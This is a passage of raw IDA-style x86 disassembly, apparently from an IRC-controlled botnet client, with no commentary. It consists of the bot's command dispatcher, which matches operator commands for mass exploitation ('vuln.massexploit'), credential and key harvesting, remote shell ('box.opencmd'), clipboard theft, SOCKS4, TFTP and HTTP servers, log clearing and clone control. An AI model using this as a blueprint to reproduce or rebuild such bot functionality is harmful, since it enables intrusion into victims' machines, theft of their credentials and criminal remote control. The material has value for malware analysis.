jz short loc_40D52E
loc_40D522: ; CODE XREF: sub_40CD3A+7E1j
lea eax, [ebp+var_C0]
mov [ebp+var_8C], eax
loc_40D52E: ; CODE XREF: sub_40CD3A+7E6j
cmp [ebp+var_88], ebx
jz loc_40D18F
inc [ebp+var_88]
jz short loc_40D578
cmp [ebp+arg_10], ebx
jz short loc_40D578
lea eax, [ebp+var_43C]
push eax
call sub_415B10
push eax
lea eax, [ebp+var_43C]
push [ebp+var_88]
push eax
call sub_416D70
add esp, 10h
neg eax
sbb eax, eax
add eax, 4
mov [ebp+var_A8], eax
jmp short loc_40D57E
; ---------------------------------------------------------------------------
loc_40D578: ; CODE XREF: sub_40CD3A+806j
; sub_40CD3A+80Bj
mov eax, [ebp+var_A8]
loc_40D57E: ; CODE XREF: sub_40CD3A+83Cj
mov esi, eax
shl esi, 2
mov edi, [ebp+esi+var_94]
cmp edi, ebx
jz loc_40D18F
push edi
push offset dword_436A7C
call sub_415730
pop ecx
test eax, eax
pop ecx
jnz loc_40D3B1
mov ecx, [ebp+var_8C]
cmp byte ptr [ecx], 23h
jz short loc_40D618
mov eax, dword_46B004
mov eax, off_42C32C[eax*4]
cmp [eax], bl
jz short loc_40D618
push eax
push ecx
push offset dword_436A60
push [ebp+arg_4]
call sub_412B8B
lea eax, [ebp+var_C0]
push eax
lea eax, [ebp+var_2D8]
push offset aSHasJustVersio ; "%s has just versioned me."
push eax
call sub_415316
lea eax, [ebp+var_2D8]
push eax
call sub_40B078
add esp, 20h
cmp [ebp+var_A4], ebx
jnz loc_40D18F
push ebx
lea eax, [ebp+var_2D8]
push 1
push eax
push offset dword_46AF14
jmp loc_411FD7
; ---------------------------------------------------------------------------
loc_40D618: ; CODE XREF: sub_40CD3A+876j
; sub_40CD3A+886j
push edi
push offset dword_436A3C
call sub_415730
pop ecx
test eax, eax
pop ecx
jnz loc_40D3B1
mov esi, [ebp+esi+var_90]
cmp esi, ebx
jz loc_40D3B1
mov eax, [ebp+var_8C]
cmp byte ptr [eax], 23h
jz loc_40D3B1
push esi
push eax
push offset dword_436A24
jmp loc_40D0DB
; ---------------------------------------------------------------------------
loc_40D657: ; CODE XREF: sub_40CD3A+92Bj
push 32h
call dword_421060 ; Sleep
loc_40D65F: ; CODE XREF: sub_40CD3A+7A3j
cmp [ebp+var_6B0], ebx
jz short loc_40D657
jmp short loc_40D68B
; ---------------------------------------------------------------------------
loc_40D669: ; CODE XREF: sub_40CD3A+6C4j
lea eax, [ebp+var_C0]
push eax
lea eax, [ebp+var_2D8]
push [ebp+esi+var_8C]
push offset dword_4369D0
push eax
call sub_415316
add esp, 10h
loc_40D68B: ; CODE XREF: sub_40CD3A+92Dj
; sub_40CD3A+A6Aj ...
xor esi, esi
inc esi
jmp loc_40F54A
; ---------------------------------------------------------------------------
loc_40D693: ; CODE XREF: sub_40CD3A+6B8j
push [ebp+esi+var_90]
push offset aChat ; "CHAT"
call sub_415730
pop ecx
test eax, eax
pop ecx
jnz loc_40D7E1
cmp [ebp+var_A4], ebx
jz loc_40D7BA
push 13h
call sub_41501C
test eax, eax
pop ecx
jnz loc_40D7A9
push [ebp+esi+var_88]
lea eax, [ebp+var_858]
push offset aS_1 ; "%s"
push eax
call sub_415316
push [ebp+esi+var_84]
call sub_41587F
mov [ebp+var_6C0], eax
mov eax, [ebp+arg_4]
mov [ebp+var_860], eax
lea eax, [ebp+var_C0]
push 7Fh
push eax
lea eax, [ebp+var_740]
push eax
call sub_416BE0
mov eax, [ebp+var_4]
mov [ebp+var_6B8], eax
mov eax, [ebp+var_8]
mov [ebp+var_6B4], eax
lea eax, [ebp+var_C0]
push eax
lea eax, [ebp+var_2D8]
push offset dword_436990
push eax
call sub_415316
push ebx
lea eax, [ebp+var_2D8]
push 13h
push eax
call sub_414DDA
add esp, 34h
mov [ebp+var_6BC], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_860]
push ebx
push eax
push offset sub_40B459
push ebx
push ebx
call dword_42108C ; CreateThread
mov ecx, [ebp+var_6BC]
imul ecx, 234h
cmp eax, ebx
mov dword_441BAC[ecx], eax
jnz short loc_40D79C
call dword_421088 ; RtlGetLastWin32Error
push eax
push offset dword_436948
jmp loc_4108F0
; ---------------------------------------------------------------------------
loc_40D794: ; CODE XREF: sub_40CD3A+A68j
push 32h
call dword_421060 ; Sleep
loc_40D79C: ; CODE XREF: sub_40CD3A+A47j
cmp [ebp+var_6B0], ebx
jz short loc_40D794
jmp loc_40D68B
; ---------------------------------------------------------------------------
loc_40D7A9: ; CODE XREF: sub_40CD3A+98Aj
lea eax, [ebp+var_C0]
push eax
push offset dword_436900
jmp loc_4108F0
; ---------------------------------------------------------------------------
loc_40D7BA: ; CODE XREF: sub_40CD3A+97Aj
lea eax, [ebp+var_C0]
push eax
push offset dword_4368B8
jmp loc_4108F0
; ---------------------------------------------------------------------------
loc_40D7CB: ; CODE XREF: sub_40CD3A+69Dj
mov eax, [ebp+arg_8]
lea ecx, [eax+1]
mov al, [eax]
cmp al, byte_42C258
mov [edi], ecx
jnz loc_40D18F
loc_40D7E1: ; CODE XREF: sub_40CD3A+96Ej
mov edi, [edi]
push edi
push offset aNewshit ; "newshit"
mov [ebp+arg_8], edi
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_412820
push edi
push offset aHi_0 ; "hi"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_412820
cmp [ebp+var_A4], ebx
jnz short loc_40D832
push [ebp+var_90]
push offset dword_436AD8
call sub_415730
pop ecx
test eax, eax
pop ecx
jnz loc_412818
loc_40D832: ; CODE XREF: sub_40CD3A+ADCj
cmp [ebp+arg_28], ebx
jnz loc_412818
xor edi, edi
cmp dword_42EA3C, ebx
jle loc_40D9D6
mov [ebp+arg_20], offset dword_440E18
loc_40D850: ; CODE XREF: sub_40CD3A+B35j
push [ebp+arg_8]
push [ebp+arg_20]
call sub_415730
pop ecx
test eax, eax
pop ecx
jz short loc_40D876
add [ebp+arg_20], 0B8h
inc edi
cmp edi, dword_42EA3C
jl short loc_40D850
jmp loc_40D9D6
; ---------------------------------------------------------------------------
loc_40D876: ; CODE XREF: sub_40CD3A+B25j
push offset asc_436BF4 ; " :"
push [ebp+arg_0]
call sub_4158E0
pop ecx
cmp eax, ebx
pop ecx
jz loc_40D18F
mov cl, byte_42C258
imul edi, 0B8h
mov [eax+2], cl
mov cl, byte_42C258
mov [eax+3], cl
lea ecx, dword_440E30[edi]
push 9Fh
add eax, 4
push ecx
push eax
call sub_416BE0
lea eax, dword_440E18[edi]
add esp, 0Ch
mov [ebp+arg_8], 0Fh
mov [ebp+arg_20], eax
lea edi, [ebp+esi+var_54]
loc_40D8D1: ; CODE XREF: sub_40CD3A+C31j
push [ebp+arg_8]
lea eax, [ebp+var_A0]
push offset aD_1 ; "$%d-"
push eax
call sub_415316
lea eax, [ebp+var_A0]
push eax
push [ebp+arg_0]
call sub_4158E0
add esp, 14h
test eax, eax
jz short loc_40D933
cmp [edi], ebx
jz short loc_40D937
push [ebp+arg_20]
call sub_415B10
add [ebp+var_C], eax
pop ecx
jz short loc_40D962
push dword ptr [edi-4]
push [ebp+var_C]
call sub_4158E0
pop ecx
cmp eax, ebx
pop ecx
jz short loc_40D962
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+arg_0]
call sub_4098D4
add esp, 0Ch
jmp short loc_40D962
; ---------------------------------------------------------------------------
loc_40D933: ; CODE XREF: sub_40CD3A+BBFj
cmp [edi], ebx
jnz short loc_40D962
loc_40D937: ; CODE XREF: sub_40CD3A+BC3j
lea eax, [ebp+var_A0]
push 2
push eax
lea eax, [ebp+var_14]
push eax
call sub_416BE0
lea eax, [ebp+var_14]
mov [ebp+var_12], bl
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+arg_0]
call sub_4098D4
add esp, 18h
loc_40D962: ; CODE XREF: sub_40CD3A+BD1j
; sub_40CD3A+BE2j ...
dec [ebp+arg_8]
sub edi, 4
cmp [ebp+arg_8], ebx
jg loc_40D8D1
lea eax, [ebp+esi+var_54]
mov [ebp+arg_8], 10h
mov edi, eax
loc_40D97E: ; CODE XREF: sub_40CD3A+C90j
push [ebp+arg_8]
lea eax, [ebp+var_A0]
push offset aD_0 ; "$%d"
push eax
call sub_415316
lea eax, [ebp+var_A0]
push eax
push [ebp+arg_0]
call sub_4158E0
add esp, 14h
test eax, eax
jz short loc_40D9C1
mov eax, [edi]
cmp eax, ebx
jz short loc_40D9C1
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+arg_0]
call sub_4098D4
add esp, 0Ch
loc_40D9C1: ; CODE XREF: sub_40CD3A+C6Cj
; sub_40CD3A+C72j
dec [ebp+arg_8]
sub edi, 4
cmp [ebp+arg_8], ebx
jg short loc_40D97E
mov [ebp+var_D8], 1
loc_40D9D6: ; CODE XREF: sub_40CD3A+B09j
; sub_40CD3A+B37j
lea eax, [ebp+esi+var_94]
mov edi, [eax]
mov cl, [edi]
cmp cl, byte_42C258
jz short loc_40D9F5
cmp [ebp+var_D8], ebx
jz loc_40DBD5
loc_40D9F5: ; CODE XREF: sub_40CD3A+CADj
push [ebp+arg_10]
mov edi, [ebp+arg_0]
push offset aMe_0 ; "$me"
push edi
call sub_4098D4
lea eax, [ebp+var_C0]
push eax
push offset aUser_2 ; "$user"
push edi
call sub_4098D4
push [ebp+var_8C]
push offset aChan ; "$chan"
push edi
call sub_4098D4
push ebx
push ebx
lea eax, [ebp+var_A0]
push 2
push eax
call sub_414278
push eax
push offset aRndnick ; "$rndnick"
push edi
call sub_4098D4
add esp, 40h
push [ebp+arg_14]
push offset aServer_2 ; "$server"
push edi
call sub_4098D4
mov edi, offset aChr ; "$chr("
push edi
push [ebp+arg_0]
call sub_4158E0
add esp, 14h
jmp loc_40DB50
; ---------------------------------------------------------------------------
loc_40DA6C: ; CODE XREF: sub_40CD3A+E18j
push edi
push [ebp+arg_0]
call sub_4158E0
mov [ebp+arg_10], eax
add eax, 5
push 4
push eax
lea eax, [ebp+var_A0]
push eax
call sub_416BE0
lea eax, [ebp+var_A0]
push offset asc_43686C ; ")"
push eax
call sub_416B3F
add esp, 1Ch
cmp [ebp+var_A0], 30h
jl short loc_40DAB0
cmp [ebp+var_A0], 39h
jle short loc_40DAC6
loc_40DAB0: ; CODE XREF: sub_40CD3A+D6Bj
push 3
lea eax, [ebp+var_A0]
push offset a63 ; "63"
push eax
call sub_416BE0
add esp, 0Ch
loc_40DAC6: ; CODE XREF: sub_40CD3A+D74j
lea eax, [ebp+var_A0]
push eax
call sub_41587F
test eax, eax
pop ecx
jle short loc_40DAE9
lea eax, [ebp+var_A0]
push eax
call sub_41587F
pop ecx
mov [ebp+var_14], al
jmp short loc_40DAFA
; ---------------------------------------------------------------------------
loc_40DAE9: ; CODE XREF: sub_40CD3A+D9Bj
call sub_415372
push 60h
cdq
pop ecx
idiv ecx
add dl, 20h
mov [ebp+var_14], dl
loc_40DAFA: ; CODE XREF: sub_40CD3A+DADj
lea eax, [ebp+var_A0]
mov [ebp+var_13], bl
push eax
call sub_415B10
mov [ebp+arg_8], eax
push 0Ch
lea eax, [ebp+var_A0]
push ebx
push eax
call sub_415390
mov eax, [ebp+arg_8]
add eax, 6
push eax
lea eax, [ebp+var_A0]
push [ebp+arg_10]
push eax
call sub_416BE0
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+arg_0]
call sub_4098D4
push edi
push [ebp+arg_0]
call sub_4158E0
add esp, 30h
loc_40DB50: ; CODE XREF: sub_40CD3A+D2Dj
test eax, eax
jnz loc_40DA6C
mov edi, 1FFh
lea eax, [ebp+var_21D4]
push edi
push [ebp+arg_0]
push eax
call sub_416BE0
lea eax, [ebp+var_21D4]
push edi
push eax
lea eax, [ebp+var_23D4]
push eax
call sub_416BE0
mov edi, offset asc_426A34 ; " "
lea eax, [ebp+var_23D4]
push edi
push eax
call sub_416B3F
add esp, 20h
mov [ebp+var_94], eax
mov [ebp+arg_10], 1
loc_40DBA3: ; CODE XREF: sub_40CD3A+E83j
push edi
push ebx
call sub_416B3F
pop ecx
pop ecx
mov ecx, [ebp+arg_10]
inc [ebp+arg_10]
cmp [ebp+arg_10], 20h
mov [ebp+ecx*4+var_94], eax
jl short loc_40DBA3
lea eax, [ebp+esi+var_94]
mov ecx, [eax]
cmp ecx, ebx
jz loc_40D18F
add ecx, 3
mov [eax], ecx
loc_40DBD5: ; CODE XREF: sub_40CD3A+CB5j
mov edi, [eax]
push edi
push offset aEnz_rndnick ; "enz.rndnick"
mov [ebp+arg_8], edi
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_4127CB
push edi
push offset aEnz_rn ; "enz.rn"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_4127CB
push edi
push offset aEnz_endsess ; "enz.endsess"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_4127A9
push edi
push offset aEnz_d ; "enz.d"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_4127A9
push edi
push offset aEnz_logout ; "enz.logout"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_41270B
push edi
push offset aEnz_lo ; "enz.lo"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_41270B
push edi
push offset aEnz_version ; "enz.version"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_4126FC
push edi
push offset aEnz_ver ; "enz.ver"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_4126FC
push edi
push offset aLockdown_on ; "lockdown.on"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_4125FF
push edi
push offset aLd_on ; "ld.on"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_4125FF
push edi
push offset aLockdown_off ; "lockdown.off"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_4125FF
push edi
push offset aLd_off ; "ld.off"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_4125FF
push edi
push offset aServer_socks4_ ; "server.socks4.on"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_4124DE
push edi
push offset aServer_s4_on ; "server.s4.on"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_4124DE
push edi
push offset aServer_socks_0 ; "server.socks4.off"
call sub_415730
pop ecx
test eax, eax
pop ecx
jnz short loc_40DD29
push [ebp+esi+var_90]
push 11h
push offset aServer ; "Server"
push offset dword_43679C
jmp loc_4124C2
; ---------------------------------------------------------------------------
loc_40DD29: ; CODE XREF: sub_40CD3A+FD5j
push edi
push offset aServer_rlogin_ ; "server.rlogin.off"
call sub_415730
pop ecx
test eax, eax
pop ecx
jnz short loc_40DD52
push [ebp+esi+var_90]
push 6
push offset aServer ; "Server"
push offset dword_436778
jmp loc_4124C2
; ---------------------------------------------------------------------------
loc_40DD52: ; CODE XREF: sub_40CD3A+FFEj
push edi
push offset dword_436768
call sub_415730
pop ecx
test eax, eax
pop ecx
jnz short loc_40DD7B
push [ebp+esi+var_90]
push 3
push offset aServer ; "Server"
push offset dword_43675C
jmp loc_4124C2
; ---------------------------------------------------------------------------
loc_40DD7B: ; CODE XREF: sub_40CD3A+1027j
push edi
push offset dword_436754
call sub_415730
pop ecx
test eax, eax
pop ecx
jnz short loc_40DDA4
push [ebp+esi+var_90]
push 1Ch
push offset dword_436748
push offset dword_43673C
jmp loc_4124C2
; ---------------------------------------------------------------------------
loc_40DDA4: ; CODE XREF: sub_40CD3A+1050j
push edi
push offset aServer_redirec ; "server.redirect.off"
call sub_415730
pop ecx
test eax, eax
pop ecx
jnz short loc_40DDCD
push [ebp+esi+var_90]
push 10h
push offset dword_436718
push offset dword_436708
jmp loc_4124C2
; ---------------------------------------------------------------------------
loc_40DDCD: ; CODE XREF: sub_40CD3A+1079j
push edi
push offset dword_4366FC
call sub_415730
pop ecx
test eax, eax
pop ecx
jnz short loc_40DDF6
push [ebp+esi+var_90]
push 0Ah
push offset dword_4366F0
push offset dword_4366E4
jmp loc_4124C2
; ---------------------------------------------------------------------------
loc_40DDF6: ; CODE XREF: sub_40CD3A+10A2j
push edi
push offset dword_4366D4
call sub_415730
pop ecx
test eax, eax
pop ecx
jnz short loc_40DE1F
push [ebp+esi+var_90]
push 0Bh
push offset dword_4366C8
push offset dword_4366BC
jmp loc_4124C2
; ---------------------------------------------------------------------------
loc_40DE1F: ; CODE XREF: sub_40CD3A+10CBj
push edi
push offset dword_4366AC
call sub_415730
pop ecx
test eax, eax
pop ecx
jnz short loc_40DE48
push [ebp+esi+var_90]
push 0Fh
push offset dword_4366A0
push offset dword_436694
jmp loc_4124C2
; ---------------------------------------------------------------------------
loc_40DE48: ; CODE XREF: sub_40CD3A+10F4j
push edi
push offset dword_436684
call sub_415730
pop ecx
test eax, eax
pop ecx
jnz short loc_40DE71
push [ebp+esi+var_90]
push 0Eh
push offset dword_436678
push offset dword_43666C
jmp loc_4124C2
; ---------------------------------------------------------------------------
loc_40DE71: ; CODE XREF: sub_40CD3A+111Dj
push edi
push offset aServer_tftp_of ; "server.tftp.off"
call sub_415730
pop ecx
test eax, eax
pop ecx
jnz short loc_40DE9A
push [ebp+esi+var_90]
push 4
push offset aServer ; "Server"
push offset dword_436650
jmp loc_4124C2
; ---------------------------------------------------------------------------
loc_40DE9A: ; CODE XREF: sub_40CD3A+1146j
push edi
push offset aBox_findfile_o ; "box.findfile.off"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_4124AF
push edi
push offset aBox_ff_off ; "box.ff.off"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_4124AF
push edi
push offset aBox_procs_off ; "box.procs.off"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_41249A
push edi
push offset aBox_ps_off ; "box.ps.off"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_41249A
push edi
push offset aClone_off ; "clone.off"
call sub_415730
pop ecx
test eax, eax
pop ecx
jnz short loc_40DF17
push [ebp+esi+var_90]
push 17h
push offset aClone ; "Clone"
push offset dword_4365F0
jmp loc_4124C2
; ---------------------------------------------------------------------------
loc_40DF17: ; CODE XREF: sub_40CD3A+11C3j
push edi
push offset aLockdown_stop ; "lockdown.stop"
call sub_415730
pop ecx
test eax, eax
pop ecx
jnz short loc_40DF40
push [ebp+esi+var_90]
push 19h
push offset aSecure_0 ; "Secure"
push offset dword_4365C8
jmp loc_4124C2
; ---------------------------------------------------------------------------
loc_40DF40: ; CODE XREF: sub_40CD3A+11ECj
push edi
push offset aVuln_stop ; "vuln.stop"
call sub_415730
pop ecx
test eax, eax
pop ecx
jnz short loc_40DF69
push [ebp+esi+var_90]
push 8
push offset aScan ; "Scan"
push offset aExploitation ; "Exploitation"
jmp loc_4124C2
; ---------------------------------------------------------------------------
loc_40DF69: ; CODE XREF: sub_40CD3A+1215j
push edi
push offset aVuln_stats ; "vuln.stats"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_412481
push edi
push offset aVuln_st ; "vuln.st"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_412481
push edi
push offset aEnz_reh4sh ; "enz.reh4sh"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_412460
push edi
push offset aEnz_rh4 ; "enz.rh4"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_412460
push edi
push offset aEnz_endt3rm ; "enz.endt3rm"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_41243E
push edi
push offset aEnz_et3 ; "enz.et3"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_41243E
push edi
push offset aEnz_t3rm1nate ; "enz.t3rm1nate"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_4123F5
push edi
push offset aEnz_t3rm1 ; "enz.t3rm1"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_4123F5
push edi
push offset aEnz_status ; "enz.status"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_4123B7
push edi
push offset aEnz_s ; "enz.s"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_4123B7
push edi
push offset aEnz_id ; "enz.id"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_412380
push edi
push offset aEnz_i ; "enz.i"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_412380
push edi
push offset aBox_rebewt ; "box.rebewt"
call sub_415730
pop ecx
test eax, eax
pop ecx
jnz short loc_40E0B7
call sub_409D12
test eax, eax
mov eax, offset dword_4364EC
jnz short loc_40E089
mov eax, offset dword_4364B4
loc_40E089: ; CODE XREF: sub_40CD3A+1348j
push eax
lea eax, [ebp+var_2D8]
push eax
call sub_415316
push ebx
lea eax, [ebp+var_2D8]
push [ebp+var_4]
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_412BD1
add esp, 1Ch
jmp loc_40D68B
; ---------------------------------------------------------------------------
loc_40E0B7: ; CODE XREF: sub_40CD3A+133Aj
push edi
push offset aThreads_list ; "threads.list"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_4122A2
push edi
push offset aThreads_l ; "threads.l"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_4122A2
push edi
push offset aEnz_aliases ; "enz.aliases"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_41227F
push edi
push offset aEnz_al ; "enz.al"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_41227F
push edi
push offset aEnz_log ; "enz.log"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_412190
push edi
push offset aEnz_lg ; "enz.lg"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_412190
push edi
push offset aUtil_clearlog ; "util.clearlog"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_412174
push edi
push offset aUtil_clg ; "util.clg"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_412174
push edi
push offset aBox_netinfo ; "box.netinfo"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_41213A
push edi
push offset aBox_ni ; "box.ni"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_41213A
push edi
push offset aBox_sysinfo ; "box.sysinfo"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_41210F
push edi
push offset aBox_si ; "box.si"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_41210F
push edi
push offset aEnz_beg0ne ; "enz.beg0ne"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_4120D5
push edi
push offset aEnz_b3g ; "enz.b3g"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_4120D5
push edi
push offset aBox_procs ; "box.procs"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_411FB3
push edi
push offset aBox_ps ; "box.ps"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_411FB3
push edi
push offset aBox_harvest ; "box.harvest"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_411F89
push edi
push offset aBox_key ; "box.key"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_411F89
push edi
push offset aBox_uptime ; "box.uptime"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_411F02
push edi
push offset aBox_up ; "box.up"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_411F02
push edi
push offset aBox_driveinfo ; "box.driveinfo"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_411EE5
push edi
push offset aBox_drv ; "box.drv"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_411EE5
push edi
push offset aBox_testdlls ; "box.testdlls"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_411ECC
push edi
push offset aBox_dll ; "box.dll"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_411ECC
push edi
push offset aBox_opencmd ; "box.opencmd"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_411E85
push edi
push offset aBox_ocmd ; "box.ocmd"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_411E85
push edi
push offset aBox_ocmd_off ; "box.ocmd.off"
call sub_415730
pop ecx
test eax, eax
pop ecx
jnz short loc_40E302
push [ebp+esi+var_90]
push 7
push offset aRemoteShell ; "Remote shell"
push offset aCmd ; "[CMD]"
jmp loc_4124C2
; ---------------------------------------------------------------------------
loc_40E302: ; CODE XREF: sub_40CD3A+15AEj
push edi
push offset aEnz_who ; "enz.who"
call sub_415730
pop ecx
test eax, eax
pop ecx
jnz short loc_40E389
cmp [ebp+var_8], ebx
jnz short loc_40E332
push ebx
push [ebp+var_4]
push offset aLoginList ; "-[Login List]-"
push [ebp+var_8C]
push [ebp+arg_4]
call sub_412BD1
add esp, 14h
loc_40E332: ; CODE XREF: sub_40CD3A+15DCj
mov edi, [ebp+arg_18]
xor esi, esi
loc_40E337: ; CODE XREF: sub_40CD3A+1643j
cmp [edi], bl
lea eax, [edi+1]
jnz short loc_40E343
mov eax, offset aEmpty ; "<Empty>"
loc_40E343: ; CODE XREF: sub_40CD3A+1602j
push eax
push esi
lea eax, [ebp+var_2D8]
push offset aD_S ; "%d. %s"
push eax
call sub_415316
push 1
lea eax, [ebp+var_2D8]
push [ebp+var_4]
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_412BD1
add esp, 24h
inc esi
add edi, 80h
cmp esi, 2
jl short loc_40E337
push offset dword_436314
jmp loc_41123A
; ---------------------------------------------------------------------------
loc_40E389: ; CODE XREF: sub_40CD3A+15D7j
push edi
push offset aBox_getclip ; "box.getclip"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_411E44
push edi
push offset aBox_gc ; "box.gc"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_411E44
push edi
push offset aUtil_flusharp ; "util.flusharp"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_411E19
push edi
push offset aUtil_farp ; "util.farp"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_411E19
push edi
push offset aUtil_flushdns ; "util.flushdns"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_411DE9
push edi
push offset aUtil_fdns ; "util.fdns"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_411DE9
push edi
push offset aVuln_currentip ; "vuln.currentip"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_411DAF
push edi
push offset aVuln_cip ; "vuln.cip"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_411DAF
push edi
push offset aServer_httpd_o ; "server.httpd.on"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_411C15
push edi
push offset aServer_web_on ; "server.web.on"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_411C15
push edi
push offset aServer_tftp_on ; "server.tftp.on"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_411ADD
push edi
push offset aServer_tf_on ; "server.tf.on"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_411ADD
push edi
push offset aVuln_massexplo ; "vuln.massexploit"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_4117DE
push edi
push offset aVall ; "vall"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_4117DE
mov edi, [ebp+esi+var_90]
cmp edi, ebx
jz loc_40D18F
push [ebp+arg_8]
push offset aEnz_nick ; "enz.nick"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_4117BD
push [ebp+arg_8]
push offset aEnz_n ; "enz.n"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_4117BD
push [ebp+arg_8]
push offset aEnz_join ; "enz.join"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_41179D
push [ebp+arg_8]
push offset aEnz_j ; "enz.j"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_41179D
push [ebp+arg_8]
push offset aEnz_part ; "enz.part"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_411787
push [ebp+arg_8]
push offset aEnz_pt ; "enz.pt"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_411787
push [ebp+arg_8]
push offset aEnz_raw ; "enz.raw"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_411753
push [ebp+arg_8]
push offset aEnz_r ; "enz.r"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_411753
push [ebp+arg_8]
push offset aThreads_kill ; "threads.kill"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_4116A3
push [ebp+arg_8]
push offset aThreads_k ; "threads.k"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_4116A3
push [ebp+arg_8]
push offset aClone_quit ; "clone.quit"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_4115F8
push [ebp+arg_8]
push offset aClone_q ; "clone.q"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_4115F8
push [ebp+arg_8]
push offset aClone_rndnick ; "clone.rndnick"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_4115AD
push [ebp+arg_8]
push offset aClone_rn ; "clone.rn"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_4115AD
push [ebp+arg_8]
push offset aEnz_prefix ; "enz.prefix"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_411598
push [ebp+arg_8]
push offset aEnz_pr ; "enz.pr"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_411598
push [ebp+arg_8]
push offset aBox_open ; "box.open"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_41156E
push [ebp+arg_8]
push offset aBox_o ; "box.o"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_41156E
push [ebp+arg_8]
push offset aEnz_setserve ; "enz.setserve"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_411549
push [ebp+arg_8]
push offset aEnz_se ; "enz.se"
call sub_415730
